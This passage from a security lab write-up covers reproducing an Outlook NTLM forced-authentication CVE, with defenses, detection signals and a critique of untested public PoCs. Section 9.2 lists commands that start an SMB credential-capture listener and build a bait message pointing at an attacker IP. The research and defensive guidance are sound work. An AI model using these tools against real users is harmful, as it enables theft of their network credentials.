That is a positive test and a negative control. It shows the capture is a real challenge-response for the known password, not a random string that happened to be formatted correctly.

8.4 The verification ladder

Layer Method Result
CFB container olefile, file Pass
MAPI properties and nameid map custom parser and extract-msg Pass
Three trigger variants 17 checks each Pass
SMB2 NTLM exchange Samba and impacket Pass
NetNTLMv2 proof known password and wrong password Pass
Outlook warning bypass requires Windows and Outlook Not verified

The first five rows are evidence. The last row is the CVE. No amount of Linux-only testing can move it to the first group.


9. What the lab could not verify

9.1 The host limit

The lab host has about 1.9 GB of RAM, about 1 GB of free disk, no Windows, no Wine, no QEMU or KVM, and no Windows container. Outlook for Microsoft 365 is a Windows application that needs activation and several GB of installation. A Windows VM does not fit the disk or memory budget. That is why the Outlook half is not tested.

The gap is large. It is the difference between “the message is valid” and “the CVE is reproduced”. The message could be perfect and Outlook could still ignore the trigger. The capture server could be perfect and Outlook could never contact it. The only way to close the gap is to run the client.

9.2 The Windows differential test

The test compares a vulnerable build and a fixed build on an isolated network.

Setup:

  1. Create a Windows 11 VM with a vulnerable Outlook build. Use a host-only network with no internet access.
  2. Create a second snapshot or VM with the fixed build.
  3. On the Linux attacker host, run the listener on TCP 445:

    sudo python3 tools/smb_ntlm_listener.py --bind 0.0.0.0 --port 445 --out out/winlab --timeout 600
    
  4. Generate the message with the attacker’s lab IP:

    tools/make_poc.py --attacker-host 10.10.10.10 --out out/winlab-bait.msg
    tools/verify_msg.py out/winlab-bait.msg --expect-unc '\\10.10.10.10\share\reminder.wav'
    
  5. Copy the .msg to the VM and open it from Explorer. Do not preview it.
  6. Watch the listener log and the Windows desktop.

Success criteria:

  • No external-content warning appears on the vulnerable build.
  • The listener receives a Type 1, sends a Type 2, and receives a Type 3.
  • The captured proof validates against the lab account’s password.
  • The fixed build shows the warning or blocks the fetch, and the listener receives no Type 3.

9.3 The outcome matrix

Vulnerable build Fixed build Interpretation
No warning, Type 3 captured Warning or block, no Type 3 The CVE is reproduced
Type 3 captured Type 3 captured General forced authentication, not this CVE’s specific bypass
No Type 3 No Type 3 The trigger guess is wrong; try the variants

The middle row separates the two explanations. A network authentication to an attacker host is not unique to this CVE. If both builds do it, the message is exercising ordinary behavior. The fixed-build behavior is the control that separates the CVE from a general primitive.

9.4 What would falsify the current hypothesis

The current default is the reminder-sound property. It would be falsified if:

  • The vulnerable build opens the file and never contacts the listener with any of the three variants.
  • The fixed build and the vulnerable build both contact the listener with every variant. That means the construct exercises behavior the patch does not change, so it is not the CVE-specific trigger.

The first result means the construct is wrong. The second means the construct is not what the fix changes. Either result is useful. The message builder and the capture server remain valid tools; only the trigger changes.

9.5 Why the exact property is uncertain

The advisory does not name the property. The public sources split:

  • The AmesianX repository, the alon710 gist, and the Sploitus listing name PidLidReminderFileParameter.
  • The Ghost-Bx1 repository claims an RTF INCLUDEPICTURE field.
  • Mallory calls the RTF construct “the only concrete construct” it could find, while also saying the evidence is insufficient.
  • The CERT-FR alert says a PoC is available but does not describe the construct.

The reminder property is the stronger lead because CVE-2023-23397 used the same family and because the reminder path is a known source of forced authentication. It is still an inference. The Windows test is the only way to confirm it.


10. How the attack works in the real world

10.1 The delivery

The attacker sends a message file. Common delivery paths are email attachments, calendar invitations, and file shares. The file has to look relevant enough for the user to open it. That is social engineering, and the CVE does not remove the need for it.

The Preview Pane is not enough. The user has to open the item. A user who reads the message in the preview pane and deletes it does not trigger the path. A user who opens the attachment to see the details does.

10.2 The fetch and the capture

When the item opens, Outlook resolves the resource named by the property. The path is a UNC path. Windows treats it as SMB. The SMB client negotiates, receives the NTLM challenge, and sends the Type 3. The attacker records the Type 3.

If the attacker’s server is reachable on TCP 445, the exchange happens directly. If 445 is blocked, the attacker may try WebDAV over HTTP. The advisory mentions an attacker-controlled network location, not a specific protocol. The two protocols are different paths, and a real test should check which one the client uses.

10.3 The use of the capture

The attacker has two options:

  • Crack the password offline.
  • Relay the authentication to another service.

Cracking depends on password strength. Relaying depends on the target service and its NTLM settings. SMB signing and LDAP channel binding are the standard barriers. A captured response is tied to one challenge. It does not work as a universal key.

10.4 Why a 6.5 bug is on the KEV list

The CVSS score measures the immediate impact. The KEV listing measures observed exploitation. A credential leak can lead to lateral movement even if the initial action is only a medium-severity spoof. The score is not a statement about how useful the captured material is in a real network.

10.5 The attack chain with controls

Message delivered User opens it UNC path fetched NTLM exchange Hash captured Patch the Office build Block outbound 445 and WebDAV Restrict NTLM and enforce signing Monitor 4624 and 4648 breaks the trigger breaks the fetch reduces the value detects the capture

Each control acts on a different step. A single missed laptop does not have to become an incident if the other steps are covered.


11. Defenses and detection

11.1 Patch

Install the November 2026 Office update. Verify the installed build, not only the deployment report. The fixed builds are:

  • Office LTSC 2021: 16.0.14334.21048 or later.
  • Office LTSC 2024: 16.0.17932.21140 or later.
  • Microsoft 365 Apps for Enterprise: the November 2026 channel security release.

No vendor workaround is published. The patch is the fix.

11.2 Network

Block outbound SMB to untrusted networks. That means TCP 445 and 139, and UDP 137 and 138. Block WebDAV where it is not needed. Monitor OUTLOOK.EXE for outbound connections to hosts the user has no reason to contact.

This control is effective because the client cannot authenticate to a server it cannot reach. It does not fix the missing warning, but it removes the attacker’s collection point.

11.3 Identity

  • Restrict outgoing NTLM with Group Policy: “Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers” set to deny.
  • Enforce SMB signing.
  • Enforce LDAP channel binding.
  • Add privileged accounts to the Protected Users group.
  • Disable the WebClient service where WebDAV is not used.

These controls reduce the value of a captured response. They do not stop the capture, but they make relay and reuse harder.

11.4 Detection

Useful signals:

  • Windows Security events 4624 and 4648 for NTLM logons to unexpected hosts.
  • OUTLOOK.EXE making outbound connections on TCP 445 or WebDAV.
  • Mail gateway inspection for CFB files whose nameid entry stream contains the reminder LID bytes 1F 85 00 00 and a wide UNC value.
  • Mail gateway inspection for RTF bodies with INCLUDEPICTURE and a UNC path.
  • Authentication from a workstation to a host that is not a known file server or domain controller.

The message rule is the same idea used for CVE-2023-23397: look for the reminder property LID and a UNC string in the same compound file. The RTF rule is separate. Neither rule replaces the patch.

11.5 What detection cannot do

A network signature can catch an obvious outbound SMB connection. It cannot catch a connection that uses WebDAV over 443 or an internal relay target. A message rule can catch the known reminder property. It cannot catch a different property that the advisory did not disclose. Detection is a safety net, not a proof of safety.


12. What this shows about AI-assisted research and public PoCs

12.1 The Claude credit

Press reports say a researcher used Claude to find the exploited zero-day. That fits the pattern of the last two years: Microsoft’s patch volume has grown, and more of the work is finding a small number of real bugs in a large set of changes. A model can read code, compare versions, and follow data flows faster than a person can read every change by hand.

The credit does not mean the model produced a working exploit. Finding a bug and building a reproduction are different tasks. The reproduction in this article required reading the file-format specification, building a valid compound file, matching an ASN.1 encoding byte for byte, and testing with two client stacks. A model helped with the search and the writing. The evidence still came from tests.

12.2 The public PoC problem

The two repositories show a common failure mode:

  • The code is written from the advisory text.
  • It is not tested against the target.
  • The README describes the intended result, not the observed result.
  • Aggregators index the repository and repeat the claim.

The phrase “100% confidence this exploit runs” is a claim about the author’s confidence. It is not a test result. A reader should ask four questions:

  1. Does the message parse in an independent parser?
  2. Does the server complete the protocol exchange with a real client?
  3. Is the capture a valid challenge-response?
  4. Does the behavior differ between the vulnerable and fixed builds?

The public repositories answer no to the first three. This project answers yes to the first three and leaves the fourth open.

12.3 The method

The method that worked is repeatable:

  1. Read the vendor description and the specification.
  2. Build the smallest artifact that an independent parser accepts.
  3. Use a second parser that shares no code with the first.
  4. Use a real client, then a second real client.
  5. Validate the cryptographic output against a known password, not only the string format.
  6. Run a negative control.
  7. State what is not tested and what evidence would change the conclusion.

This method is slower than copying a repository. It produces an artifact that can survive a review.

12.4 What would improve the next run

  • A Windows VM with snapshots for the vulnerable and fixed builds.
  • A packet capture on the lab interface, so the SMB exchange can be inspected independently of the listener log.
  • A test that saves the appointment into a calendar and lets the reminder fire, in addition to opening the file directly.
  • A test with the RTF variant on a build where RichEdit field evaluation is known to be enabled.
  • If Microsoft ever publishes a root-cause note or a patch diff, compare the trigger property against it.

The statement at the top remains accurate: the message is valid, the capture pipeline is valid, and the client behavior is the one part that needs Windows.

Final challenge: You hold a captured hashcat line user::domain:challenge:NTProofStr:blob that validates against Password123 and fails against WrongPassword. That proves the capture is a real NTLMv2 challenge-response, and nothing more. Write the two-build experiment that would show the artifact exercises CVE-2026-124194 rather than ordinary Windows authentication. State the result on each build that confirms the CVE, the result that reduces it to a general forced-authentication primitive, and the result that falsifies the reminder-property guess. Sections 9.2 to 9.4 give the answers.


13. Appendix

13.1 Glossary

Term Meaning
CFB / OLE2 Compound File Binary. A container with a header, FAT, directory, and mini-stream.
MAPI The messaging API Outlook uses to store and read properties.
Property tag A 32-bit value with the property ID in the high 16 bits and the type in the low 16 bits.
LID Long ID. The numeric name of a named property inside a property set.
Property ID The local address of a property inside a .msg file. Named properties get IDs from 0x8000 upward.
Nameid The mapping storage that connects a GUID and LID to a property ID.
UNC path A Windows network path of the form \\server\share\file.
SMB Server Message Block. The file-sharing protocol Windows uses for UNC paths.
SPNEGO A negotiation wrapper that carries an authentication mechanism such as NTLMSSP.
NTLMSSP The NTLM security support provider message format.
NetNTLMv2 The NTLMv2 challenge-response sent on the wire. Not the raw NT hash.
KEV CISA’s Known Exploited Vulnerabilities catalog.
CWE-356 Product UI does not warn user of unsafe actions.

13.2 Timeline

Date Event
10 Nov 2026 Microsoft releases the November 2026 Office updates. CISA adds CVE-2026-124194 to KEV.
11 Nov 2026 The two public PoC repositories appear. Aggregators index them.
12 Nov 2026 CERT-FR publishes its alert.
13 Nov 2026 This lab builds the message, the listener, the verifier, and the capture validation on Linux.
Pending A Windows differential test on vulnerable and fixed Outlook builds.

13.3 Lab files

tools/cfb.py                  CFB/OLE2 v3 writer
tools/msg_builder.py          MS-OXMSG message builder and variants
tools/make_poc.py             generator and automatic verification
tools/verify_msg.py           independent parser and verifier
tools/smb_ntlm_listener.py    SMB2 NTLMSSP challenge and capture
tools/check_ntlmv2.py         validates a capture against a known password
run_poc.sh                    one-command local demo
out/bait.msg                  generated appointment message
out/bait.eml                  optional email wrapper
out/capture.hashes.txt        captured hashcat lines
out/capture.jsonl             full capture records
LAB-WINDOWS.md                Windows differential test procedure

13.4 Sources


The lab work was local and defensive: loopback binding for the capture demo, a logon-failure response, no cracking or relay, and no traffic to third parties. The Windows procedure is for isolated, authorized testing only. The exact trigger property remains an inference; the local artifact proves the message format and the capture pipeline, not Outlook’s client-side behavior.